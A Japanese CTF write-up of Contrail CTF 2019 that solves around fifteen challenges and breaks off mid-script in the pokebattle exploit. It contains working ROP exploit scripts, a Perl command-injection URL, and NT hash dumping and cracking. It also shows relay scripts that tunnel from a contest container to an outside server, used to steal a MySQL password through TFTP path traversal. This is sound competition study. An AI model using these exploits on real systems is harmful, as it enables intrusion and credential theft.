はじめに
12月31日から1月4日にかけて開催されたContrail CTF 2019に参加しました。ommadawn46
としてソロでの参加です。正月の暇な時間の大半を費やし、結果的に総合2位になることができました。
この記事は競技中に解いた問題(+競技終了後に解けた問題1つ)のWriteupです。普段あまりWriteupを書かないのですが、ContrailCTFは全体的にエスパー要素が無く、良問が多いコンテストだったので普通に書いてみたくなったのと、順位が良かったので記念に書きたいという気持ちもあり書いてみることにしました。
- はじめに
- [web] LegacyBlog (100pts)
- [forensics] Persistence (100pts)
- [network] debug_port (100pts)
- [pwn] welcomechain (100pts)
- [misc] Lets_Connct (100pts)
- [misc] prime_number (356pts)
- [forensics] alice's password (304pts)
- [rev] DownloaderLog (100pts)
- [crypto] document_rescue (400pts)
- [web] NoWallForUs (436pts)
- [pwn] pokebattle (100pts)
- [pwn] babyheap (356pts)
- [pwn] EasyShellcode (100pts)
- [pwn] instant_httpserver (304pts)
- [rev] MyInstructions (496pts)
- おわりに
[web] LegacyBlog (100pts)
問題
I found old mini blog in hdd. author douro http://114.177.250.4:9999/cgi-bin/viewer.pl
解法
URLの拡張子が.pl
であることからPerlで書かれたCGIであると推測できます。クエリストリングに?text={ファイル名}
を指定することで任意のファイルの内容を読み出すことができるアプリとなっています。
Perlのopen関数にユーザ入力値を直接渡してしまうと即座にOSコマンドインジェクションが可能となってしまい危険である、ということは古い人には有名らしいです(参考)。このサイトもどうやらユーザ入力値をそのままopen関数に渡しているようで?text=|{OSコマンド}|
を指定するとOSコマンドの実行結果が表示されます。
カレントディレクトリにはflagがなかったので、あれこれ探索しているとルートディレクトリにflag
というファイルがあることが分かりました。ls -l
で権限を確認すると---x--x--x
となっており、実行可能ファイルであると推測して実行したところflagが表示されました。
http://114.177.250.4:9999/cgi-bin/viewer.pl?text=|../../../../../../../../flag|
ctrctf{Th1s_1s_01d_cg1_exp101t}
余談ですが、open関数に関してはRubyも同様の仕様になっているのでWebアプリで使用する際は注意が必要です。
[forensics] Persistence (100pts)
問題
Can you find persistence? https://www.dropbox.com/s/yoge7ix39jyrpnv/forensics_persistence.arn?dl=0 author narupi
配布ファイルが1つ。中身はAutorunsの実行結果ファイル(.arn)です。
解法
WindowsマシンでAutoruns.exeを起動し、配布ファイルを読み込ませるとタスクスケジューラに \evil
というあからさまな名前のタスクが登録されています。
タスクが実行しているスクリプトのファイル名がflagになっているのでコピペして終了です。
ctrctf{P3rs1st3nc3_5ch3dul3d_Ta3ks}
[network] debug_port (100pts)
問題
A suspicious script has been executed. https://www.dropbox.com/s/zw76f3qm2k0x3g1/network_debug_port.pcapng?dl=0 author narupi
network_debug_port.pcapng
(パケットダンプファイル)が配布されます。
解法
配布ファイルにstringsをかけるとbase64らしき文字列が見つかります。
❯ strings network_debug_port.pcapng ...省略... ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo=
デコードすると普通にflagが出てきます。wiresharkを開く必要すら無く解けました。
❯ echo ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= | base64 -D echo 'congratulations!' echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"'
ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}
[pwn] welcomechain (100pts)
問題
Welcome Contrail CTF! Let's chain! author aqua nc 114.177.250.4 2226
welcomechain
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/welcomechain$ checksec ./welcomechain [*] '/media/sf_VMShare/CTF/ContrailCTF/welcomechain/welcomechain' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: '/home/ommadawn46/VMShare/CTF/ContrailCTF/welcomechain'
解法
welcome関数の中でfgetsを使ってstdinから256bytes読み込んでいます。しかし、スタック上のバッファは32bytesしか確保されていないので、スタックバッファオーバーフローを引き起こしてリターンアドレスを書き換えることができます。
スタック保護無しかつ、PIEではないバイナリなので普通にROPを組み立てれば攻撃が可能です。以下の順序で処理を実行するROPを組み立てればシェルを取ることができます。
- 任意のlibc関数を指すGOTのアドレスを第1引数として設定
- putsを呼び出しGOT上のlibc関数のアドレスをleak。libc.6.so上のleakさせた関数のオフセットを減算し、libcが配置されているアドレス(libc_base)を割り出す。libc_baseにlibc.6.so上の
execv
、"/bin/sh"
の文字列までのオフセットを加算し、それぞれが配置されているアドレスを割り出す - welcome関数を再度呼び出す
"/bin/sh"
のアドレスを第1引数として設定NULL
を第2引数として指定execv
を呼び出し、シェルを起動
# -*- encoding: utf-8 -*- from pwn import * import sys LOCAL = sys.argv[1] == "local" if LOCAL: # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./welcomechain p = process("./welcomechain") else: p = connect("114.177.250.4", 2226) puts_got = 0x601020 puts_plt = 0x4005A0 welcome_addr = 0x400740 pop_rdi = 0x400853 # 0x400853 : pop rdi ; ret pop_rsi_r15 = 0x400851 # 0x400851 : pop rsi ; pop r15 ; ret libc_puts_ofs = 0x809C0 # $ readelf -s libc.so.6 | grep puts libc_execv_ofs = 0xE4FA0 # $ readelf -s libc.so.6 | grep execv libc_binsh_ofs = 0x1B3E9A # $ strings -tx libc.so.6 | grep /bin/sh return_addr_ofs = 40 def leak_libc_addr(): # GOTからputsのアドレスをleakし、libcのアドレスを割り出す payload = "A" * return_addr_ofs payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(welcome_addr) resp = p.recvuntil("Please Input :") p.sendline(payload) resp += p.recvuntil("Your input is : ") resp += p.recvuntil("Welcome! Contrail CTF!") puts_addr = u64(resp.split("\n")[-3] + "\x00\x00") libc_base = puts_addr - libc_puts_ofs return libc_base def execv_shell(libc_base): # execvを呼び出してシェルを起動 execv_addr = libc_base + libc_execv_ofs binsh_addr = libc_base + libc_binsh_ofs payload = "A" * return_addr_ofs payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(pop_rsi_r15) payload += p64(0) payload += p64(0) payload += p64(execv_addr) resp = p.recvuntil("Please Input :") p.sendline(payload) resp += p.recvuntil("Your input is : ") resp += p.recvline() return resp if __name__ == "__main__": libc_base = leak_libc_addr() resp = execv_shell(libc_base) p.interactive()
カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。
$ ls bin dev flag lib lib32 lib64 welcomeropchain $ cat flag ctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}
[misc] Lets_Connct (100pts)
問題
nc 114.177.250.4 2999 author pr0xy
解法
ncでサーバにつなぐとシェルが起動しますが、cd
やls
くらいしかコマンドが使えない状態になっています。カレントディレクトリにflagというファイルがありますが、cat
も無いので簡単には読み出すことはできません。
history
コマンドは使えたので、-r
オプションを使用してflagファイルをhistoryファイルとしてreadさせると内容を読むことができました。
bash-4.4$ history -r flag history -r flag bash-4.4$ history history 1 history -r flag 2 Flag has moved to 3000 port on 172.17.0.10 . 3 history
Flag has moved to 3000 port on 172.17.0.10 .
と言うのがflagの内容です。172.17.0.10:3000にflagがあるということらしいです。
bashには/dev/tcp/{host}/{port}
を使用してTCP通信を行うことができる機能があります。これを利用してexec
にリダイレクトしてみたところflagが表示されました。
bash-4.4$ exec <> /dev/tcp/172.17.0.10/3000 exec <> /dev/tcp/172.17.0.10/3000 bash-4.4$ ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll} bash: ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}: command not found
[misc] prime_number (356pts)
問題
it's secret call... https://youtu.be/-mEdbrioxqY note : password is upper case. author aqua
secret.zip
(パスワード付きzipファイル)とsecret_call.wav
(waveファイル)が配布されます。
解法
問題文の動画を見るとsecret_call.wav
が電話番号を押したときに鳴る音であることが分かります。音声ファイルをSonicVisualizerにかけてみると音が鳴るタイミングが一定間隔になっています。音ごとに分離してフーリエ変換すれば「あるタイミングで鳴っている音が、他のどのタイミングの音と同じ音か」は簡単に特定できそうです。
極めて雑なスクリプトですが、以下のスクリプトを実行するとab bc dd e fc dd fd dd gd dd gd b dd fd c cd gd db
という結果になります。ここの各文字が鳴っている音を表しており、同じ文字のところは同じ音が鳴っています。これらの文字を0〜9の数字に置き換えていけば正しい番号になるはずです。
import wave import string import numpy as np import itertools def fourier(x, w): n = len(x) span = n // w K = [] for i in range(n // w): sample = x[i * w : (i + 1) * w] partial = np.fft.fft(sample) K.append(partial) return K if __name__ == "__main__": pass_len = 18 with wave.open("secret_call.wav", "r") as wave_file: frames = wave_file.readframes(wave_file.getnframes()) x = np.frombuffer(frames, dtype=np.int16) ks = fourier(x, 400) codes, syms = [], [] mute_max = 13056000.0 for i, k in enumerate(ks): if abs(mute_max - np.abs(k).max()) > 0.1: sym = np.abs(k).mean() is_new = True for sym_ in syms: if abs(sym - sym_) < 0.001: is_new = False codes.append((i, string.ascii_letters[syms.index(sym_)])) break if is_new: syms.append(sym) codes.append((i, string.ascii_letters[len(syms) - 1])) prev, place_holders = 0, "" for i, sym in codes: if i - prev > 2: place_holders += " " place_holders += sym prev = i print(place_holders)
文字の置き換え方ですが、問題文から恐らく全ての数字が素数になるのだろうと推測し、全ての文字を置き換える組み合わせについて素数以外の数字が出てくるかをチェックし、素数のみが登場する組み合わせだけを残しました。以下がその結果です。
03 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13 03 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13 03 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13 03 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13 07 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17 07 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17 23 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13 23 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13 53 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13 53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13 83 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13 83 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13 83 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13 83 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13 97 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17 97 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17
さらに、ここに出てくる素数を「何番目の素数か」に置き換えていくと以下のようになります。
1 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 1 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 1 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 1 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 3 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6 3 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6 8 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 8 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 15 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 15 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 22 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 22 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 22 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 22 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 24 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6 24 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6
全てが26以下になったことから、「アルファベットの何番目か」を表している可能性が高いと推測できます。アルファベットに置き換えます。
BLEAOEMERERBEMDTRF BLEASEREMEMBERDTMF BLECOEMERERBEMDTRF BLECSEREMEMBERDTMF DUEANEMERERDEMBKRG DUECNEMERERDEMBKRG ILECOEMERERBEMDTRF ILECSEREMEMBERDTMF PLEAOEMERERBEMDTRF PLEASEREMEMBERDTMF WLEAOEMERERBEMDTRF WLEASEREMEMBERDTMF WLECOEMERERBEMDTRF WLECSEREMEMBERDTMF YUEANEMERERDEMBKRG YUECNEMERERDEMBKRG
結果を注意深く眺めるとPLEASEREMEMBERDTMF
だけ英語として読める文字列になっています。これを配布ファイルのzipファイルのパスワードとして入力すると正しく展開することができます。
展開するとflag.txtというテキストファイルが出てくるので、適当な方法で読めばflagが手に入ります。
ctrctf{d0_y0u_r3m3mb3r_dtmf?}
あの音、DTMFって言うんですね…何も知らずに解いてしまった。
[forensics] alice's password (304pts)
問題
Alice losts her password... I lockyou alice's password https://drive.google.com/open?id=1OXU9szO2h5Y2iikByMKEBSwsEVchuFw- zip password is md5(alice's password) author aqua
flag.zip
(パスワード付きzipファイル)とmemdump.mem
(Windowsのメモリダンプファイル)が配布されます。
解法
Aliceのパスワードを手に入れるのが目標の問題です。
Volatilityのimageinfo
を実行すると、Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
のProfileが提案されます。
❯ vol.py imageinfo -f memdump.mem Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/Users/ommadawn46/VMShare/CTF/ContrailCTF/alices_password/memdump.mem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a3c0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002a3dd00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-12-29 10:04:58 UTC+0000 Image local date and time : 2019-12-29 19:04:58 +0900
取り敢えずWin7SP1x64
をProfileとして使用し、hashdump
を実行してメモリ上のパスワードハッシュを取得します。
❯ vol.py hashdump -f memdump.mem --profile=Win7SP1x64 Volatility Foundation Volatility Framework 2.6.1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Aqua:1000:aad3b435b51404eeaad3b435b51404ee:813ea107eccdab91a1b9c15b67693cb4::: Alice:1001:aad3b435b51404eeaad3b435b51404ee:19bf8c07d19ea196464115e443854654:::
John The Ripperを使用してパスワードハッシュをクラックします。問題文のI lockyou alice's password
という一文にはワードリストとしてrockyou.txt
を使用しなさいという意図があると受け取りました。
❯ john passhash.txt --wordlist=~/wordlist/rockyou.txt --format=NT Using default input encoding: UTF-8 Loaded 1 password hash (NT [MD4 128/128 SSE4.1 4x4]) Press 'q' or Ctrl-C to abort, almost any other key for status i<3orange. (Alice) 1g 0:00:00:01 DONE (2020-01-05 19:09) 0.8849g/s 6622Kp/s 6622Kc/s 6622KC/s i<3pld..i<3me7 Use the "--show --format=NT" options to display all of the cracked passwords reliably Session completed
クラックが無事に成功し、Aliceのパスワードがi<3orange.
であることが分かりました。i<3orange.
のMD5ハッシュを配布されたzipファイルのパスワードとして入力するとflagを取得できます。
ctrctf{Y0u_c4n_dump_4nd_cr4ck_hash!}
[rev] DownloaderLog (100pts)
問題
A suspicious process was downloading some files. https://www.dropbox.com/s/losftwhw7w0718d/log.pcap?dl=0 I ask you for this inspection. author pr0xy
log.pcap
(パケットダンプファイル)が配布されます。
解法
wiresharkで配布ファイルを開くと、何らかのファイルをダウンロードしているHTTP通信があることが分かります。ダウンロードされたファイルをdumpすると、k7zg2B
(ELF 64bit)と7GNqHT
(テキストファイル)の2つのファイルが出てきます。
k7zg2B
を解析すると、この実行ファイルは「コマンドライン引数で指定されたファイルの内容」と「time(NULL)
で取得した現在時刻」の2つの値に動作が依存していることが分かります。
前者のファイルはdumpで出てきた、もう片方のファイル 7GNqHT
であると推測し、引数に指定してみるもののinvalid :|
と表示されてしまいます。
$ ./k7zg2B 7GNqHT invalid :|
現在時刻の方が合ってないのが原因であると考えられるので、pcapファイルからファイルがダウンロードされた時刻を特定します。
date
でその時刻にシステム時刻設定を合わせ、バイナリを実行し直すとflagが表示されます。
$ sudo date -s "2019/12/24 16:28:45+09" && ./k7zg2B 7GNqHT 2019年 12月 24日 火曜日 16:28:45 JST Nice :) Flag is here ctrctf{u_are_3inary_4na1yst}
[crypto] document_rescue (400pts)
問題
I wanted to give you a secret file, but I found that it was encrypted by a strange program. Can you decrypt it referring to the program? https://www.dropbox.com/s/4t25svaw4rt1p50/document_rescue.zip?dl=0 author Ciruela
flag.www
(暗号化されたPDFファイル)とencrypt.py
(暗号化スクリプト)が配布されます。以下が暗号化スクリプトの内容です。
import os target_ext = '.pdf' def define_keys(): with open('keys.txt', 'r') as f: a = int(f.readline()) x = int(f.readline()) b = int(f.readline()) modified_header_text = f.readline()[:-1].encode() return a, x, b, modified_header_text def encryptor01(a, x, b, m): return (a * x + b) % m def encryptor02(filename): f = open(filename + target_ext, 'rb') g = open(filename + '.www', 'wb') # define keys a, x, b, modified_header_text = define_keys() m = pow(2, 32) assert a < m and x < m and b < m data = bytearray(f.read()) data_length = len(data) padding_length = (-data_length) % 4 data += (b'\x00' * padding_length) data_length += padding_length # header modification! index = 0 modified_header = b'%PDF-9.9' modified_header += modified_header_text while True: if index >= len(modified_header): break data[index] = modified_header[index] index += 1 # main encryption process index = 0 while True: if index == data_length: break plain = int.from_bytes(data[index:index + 4], 'big') x = encryptor01(a, x, b, m) ^ plain g.write(x.to_bytes(4, 'big')) index += 4 f.close() g.close() if __name__ == '__main__': filenames = os.listdir('.') for filename in filenames: if filename[-len(target_ext):] == target_ext: encryptor02(filename[:-len(target_ext)]) os.remove(filename) os.remove('keys.txt')
解法
この暗号化スクリプトは以下の処理を行うものとなっています。
- PDFファイルのヘッダを何らかの文字列で上書きする。何bytesが上書きされるかは不明だが、上書き後の先頭8bytesの値が判明している(
%PDF-9.9
) - PDFファイルのbytes長が4で割り切れない場合は末尾を4の倍数の長さになるまで
\x00
でパディングする - 線形合同法っぽい方法で32bit長の乱数を生成し、乱数と平文をXORしたものを暗号文とするワンタイムパッド的な手法でPDFファイル全体を暗号化する
以下が乱数を生成する関数です。線形合同法とよく似ています。
def encryptor01(a, x, b, m): return (a * x + b) % m
a
, b
, m
は定数で、x
が乱数生成の種となっています。
def encryptor02(filename): ...省略... x = encryptor01(a, x, b, m) ^ plain
encryptor02()
を見ると、x
が「1つ前の乱数」ではなく「1つ前の乱数と平文をXORした値」であるというところが線形合同法との違いであることが分かります。しかし、この場合でも線形合同法と同じくy = a * x + b mod m
を満たすy
とx
の組み合わせを複数見つければ、連立方程式を解いてa
とb
を求めることができます。
a
とb
が求まれば乱数を予測することが可能になるため、PDFの暗号化を解くことが出来るはずです。y
とx
の1組目は、ヘッダーの先頭8bytesがソースコードから既知であることを利用して見つけることができます。
x1 = 暗号文の0-4byte y1 = 暗号文の4-8byte ^ "-9.9"
2組目はPDFの末尾が%EOF
で終了することを利用して見つけることができます。ただし、パディングが入るため、%EOF
, EOF\x00
, OF\x00\x00
, F\x00\x00\x00
の4パターンの平文が考えられます。
x2 = 暗号文の末尾8-4byte y2 = 暗号文の末尾4-0byte ^ {"%EOF", "EOF\x00", "OF\x00\x00", "F\x00\x00\x00"} のいずれか
パターンが少ないため全て試してうまく行くものを探せば良さそうです。z3を使用して全てのパターンで復号化を試すスクリプトを書きました。
import z3 M = pow(2, 32) with open("./document_rescue/flag.www", "rb") as f: enc_d = f.read() pdf_eof = b"%EOF" p_1 = int.from_bytes(b"%PDF", "big") p_2 = int.from_bytes(b"-9.9", "big") x_2 = int.from_bytes(enc_d[0:4], "big") x_3 = int.from_bytes(enc_d[4:8], "big") x_n = int.from_bytes(enc_d[-8:-4], "big") x_n_plus1 = int.from_bytes(enc_d[-4:], "big") y_1 = p_1 ^ x_2 y_2 = p_2 ^ x_3 def solve(p_n_bytes): p_n = int.from_bytes(p_n_bytes, "big") y_n = p_n ^ x_n_plus1 s = z3.Solver() a_bv = z3.BitVec("a", 32) b_bv = z3.BitVec("b", 32) s.add(y_2 == a_bv * x_2 + b_bv) s.add(y_n == a_bv * x_n + b_bv) pattern = 0 while s.check() == z3.sat: m = s.model() a = m.evaluate(a_bv).as_long() b = m.evaluate(b_bv).as_long() linear_congruential = lambda x: (a * x + b) % M with open(f"./pdfs/{hex(p_n)}_{pattern}.pdf", "wb") as f: f.write(p_1.to_bytes(4, "big")) for i in range(0, len(enc_d) - 4, 4): x_i = int.from_bytes(enc_d[i : i + 4], "big") x_i_plus1 = int.from_bytes(enc_d[i + 4 : i + 8], "big") y_i = linear_congruential(x_i) p_i = x_i_plus1 ^ y_i f.write(p_i.to_bytes(4, "big")) s.add(z3.Or(a_bv != a, b_bv != b)) pattern += 1 if __name__ == "__main__": for pad in range(0, 4): p_n_bytes = pdf_eof[pad:] + b"\x00" * pad solve(p_n_bytes)
実行すると8種類のPDFが出力されます。ヘッダーが上書きされていてそのままでは表示できないので、1つずつPDF Tools Online - Repair PDFに投げて修復していくと無事flagが表示されました。
ctrctf{f1l3_5truc7ur3_1nf0rm471on_4lw4ys_help_u}
[web] NoWallForUs (436pts)
問題
This is saikyou programmer contest. http://114.177.250.4:1234/ code: https://drive.google.com/file/d/1EHUY2UDK8BGbs-TaSrXs7un1m4Suz7bW/view?usp=sharing author douro 12/31 2:32 [web]NoWallForUsにおいてmysqlに関する不具合を訂正しました。 Hint: The flag is on the DB server, but you have to get the password first. Hint2: Read values_default.go and database/ Hint3: You can steal mysql-password from server(Host computer) . That is'nt the default value . Hint4: Host IP is in executeUsercode.go
配布ファイルは問題のWebサービスのソースコードです。ハードコードされたパスワードなどの値が変更されているのを除けば、問題と同じコードになっています。
調査
AtCoderなどによく似た競技プログラミングサービスを攻撃する問題です。ソースコードを提出すると、提出ごとにDockerコンテナが立ち上がり、その中で提出したコードが実行されるようになっています。問題文のHintによると、flagはDBの中にあるということです。つまり、DBに接続してflagを盗み出すのがこの問題の目標になります。
どこから手をつけていいか分からないので、取り敢えずソースコードを読み解いたり、OSコマンドを実行するスクリプトを提出して環境を調べるといった方法で調査を行いました。その結果、このサービスには以下のような問題が存在することが分かりました。
- 提出コードを実行するコンテナからホストサーバの任意のポートに対してアクセスが可能(SSRF)
- ホストサーバで動作するTFTPデーモンにパストラバーサルの脆弱性がある
- mysqlのパスワードがサーバプログラムのソースコードにハードコードされている
この調査結果から、以下のようなステップを踏むことでDBにログインできそうだという道筋が見えてきます。
- TFTPデーモンに接続し、パストラバーサルを悪用してmysqlのパスワードが記載されたソースコードを盗み出すスクリプトを提出する
- mysqldに
1.
のパスワードを使用してログインし、flagを読み出すスクリプトを提出する
ただ、問題はスクリプトが実行されるコンテナには最小限のコマンドしか入っていないことです。tftp
コマンドやmysql
コマンドが使えない中、どうやってTFTPデーモンに接続し、mysqldに接続するかがこの問題難しいところとなっています。
解法
この課題を解決する方法はいくつもあると思われるのですが、今回は「ホストサーバ」と「自分が管理する外部サーバ」の間をコンテナ経由でポートフォワードするスクリプトを作成して提出し、コンテナ上で実行するという方法を取りました。これにより、TLEまでの30秒の間だけコンテナ経由で直接外部からtftp
コマンドやmysql
コマンドでターゲットに接続できるようになります。
tftpはUDP、mysqlはTCPなので、それぞれフォワーディングスクリプトを書きました。
import socket import _thread import time s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) addr_1 = ("172.17.0.1", 4444) addr_2 = ("104.198.86.99", 55555) s.sendto(b"\n", addr_1) s.sendto(b"\n", addr_2) resp = " " while True: resp, server = s.recvfrom(1024) if server[0] == addr_2[0]: s.sendto(resp, addr_1) else: s.sendto(resp, addr_2)
import socket import _thread import time s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s1.connect(("172.17.0.1", 3306)) s2.connect(("104.198.86.99", 55555)) def forward(source, destination): string = " " while string: string = source.recv(1024) if string: destination.sendall(string) else: source.shutdown(socket.SHUT_RD) destination.shutdown(socket.SHUT_WR) _thread.start_new_thread(forward, (s1, s2)) _thread.start_new_thread(forward, (s2, s1)) while True: time.sleep(100)
後は、先程建てた道筋通りに外部から攻撃を行います。
mysqlパスワードの窃取
TFTPデーモンを攻撃し、ソースコードからmysqlのパスワードを盗み出します。上記のUDP用フォワーディングスクリプトを回しながら、ローカルからtftp
コマンドで接続し、パストラバーサルを悪用してvalues.go
を盗み出します。
❯ tftp 104.198.86.99 55556 tftp> get /../go/src/values/values.go Received 318 bytes in 0.0 seconds
以下が盗み出したソースコードの内容です。mysqlには、ユーザ名: nowall
, パスワード: jaldsfk
で接続できることが分かります。
package values const ( MaxWorker = 10 JudgeHostPort = "localhost:8888" QueHostPort = "localhost:4649" QuebackHostPort = "localhost:5963" FileServerHostPort = "localhost:4444" MySQLDBN = "nowall:jaldsfk@tcp(172.17.0.1:3306)/nowall" Salt = "SLSLSLFT" )
DBへの接続
窃取したmysqlパスワードを使用し、DBにログインしてflagを盗み出します。上記のTCP用フォワーディングスクリプトを回しながら、ローカルからmysql
コマンドで接続します。
❯ mysql -h 104.198.86.99 -P 55556 -unowall -pjaldsfk mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1162 Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu) Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
ログインに成功しました。後はソースコードのDBスキーマを参考にし、SQL文を投げればflagを取得できます。
mysql> select * from nowall.flag; +---------------------------------+ | flag | +---------------------------------+ | ctrctf{Y0u_4r3_ult1m4t3_h4ck3r} | +---------------------------------+ 1 row in set (0.03 sec)
[pwn] pokebattle (100pts)
問題
Let's Pokemon battle! author aqua/douro nc 114.177.250.4 2225
pokebattle
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/pokebattle$ checksec pokebattle [*] '/media/sf_VMShare/CTF/ContrailCTF/pokebattle/pokebattle' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/home/ommadawn46/VMShare/CTF/ContrailCTF/pokebattle'
解法
捕まえたポケモンの名前を入力する処理にバッファオーバーフローの脆弱性があります。捕まえたポケモンの情報は以下のような構造体に格納されます。
struct pokemon { char name[32]; long hp; void (*func)(*char) attack_func; };
name
から40byte先にはattack_func
(関数ポインタ)があり、戦闘時に自分のname
を引数に設定しattack_func
を呼び出します。
この問題ではPIEが有効になっているので、まずはバイナリが配置されているアドレスをデフォルトのattack_func
(kick関数)のアドレスから割り出し、その後printfを使用してlibc関数のアドレスをleakさせます。
libcのベースアドレスが割り出せたら、attack_func
にsystem関数を設定し、name
を"/bin/sh"
にしたポケモンを戦闘させてシェルを起動します。
# -*- encoding: utf-8 -*- from pwn import * LOCAL = sys.argv[1] == "local" if LOCAL: # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./pokebattle p = process("./pokebattle") else: p = connect("114.177.250.4", 2225) def fight(): resp = p.recvuntil("4. Pokemons\n>") p.sendline("1") resp += p.recvuntil("Pichu is dead.") return resp def poke_ball(slot, name): resp = p.recvuntil("4. Pokemons\n>") p.sendline("2") resp += p.recvuntil("slot :") p.sendline(str(slot)) resp += p.recvuntil("name :") p.sendline(name) def pokemons(slot): resp = p.recvuntil("4. Pokemons\n>") p.sendline("4") resp += p.recvuntil("Select Pokemon :") p.sendline(str(slot)) return resp def parse_pokemons(s): pokes = [] s = s.split("0 . ")[1] for i in range(1, 10): poke, s = s.split("%d . " % i) pokes.append(poke) pokes.append(s.split("Select Pokemon :")[0]) parsed_pokes = [] for poke in pokes: name, poke = poke.split(" /HP[") hp = poke.split("]")[0] parsed_pokes.append((name, hp)) return parsed_pokes kick_ofs = 0x10092A printf_plt_ofs = 0x1007B0 _IO_2_1_stdout_ofs = 0x3EC760 # $ readelf -s libc.so.6 | grep _IO_2_1_stdout execv_ofs = 0xE4FA0 # $ readelf -s libc.so.6 | grep execv system_ofs = 0x4F440 # $ readelf -s libc.so.6 | grep system if __name__ == "__main__": fight() # 1byteずつkickのアドレスを割り出す kick_addr_bytes = "" for i in range(8): poke_ball(0, "A" * (39 + i)) name = parse_pokemons(pokemons(0))[0][0] kick_addr_bytes += name[40 + i] if len(name) > 40 + i else "\x00" kick_addr = u64(kick_addr_bytes) app_base_addr = kick_addr - kick_ofs printf_plt_addr = app_base_addr + printf_plt_ofs # printfを呼び出してスタック上のアドレスをleak poke_ball(0, "A" * 40 + p64(printf_plt_addr)) poke_ball(0, "!@!%08lx!@!") resp = fight() _IO_stdfile_1_lock_addr = int(resp.split("!@!")[1].split("!@!")[0], 16) _IO_2_1_stdout_addr = 